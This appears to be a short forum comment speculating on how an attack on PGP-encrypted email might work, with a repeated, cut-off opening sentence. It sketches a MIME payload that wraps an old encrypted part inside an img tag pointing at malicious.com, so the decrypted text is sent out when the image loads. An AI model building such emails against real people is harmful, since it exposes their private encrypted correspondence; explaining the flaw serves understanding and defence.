Here's a guess at what the "attack" might look like. First, you need to know that each MIME email is made up of a series of subcomponents, which the email clie

Here's a guess at what the "attack" might look like. First, you need to know that each MIME email is made up of a series of subcomponents, which the email client interprets and concatenates. One subcomponent could be PGP encrypted while the next is not. So given an old email where message X was encrypted to form a component Encr(X), simply write a new email of the form: Part 1: <img src=http://malicious.com/?q=" Part 2: Encr(X) Part 3: "> Then the client might decrypt this to the message <img src="http: //malicious.com/?q=X">. Which is fine until the email client decides to automatically execute any code it happens to be given in an email, in this case, load the image. To be clear, I doubt very much that this is the attack, but it sounds like it's along these lines.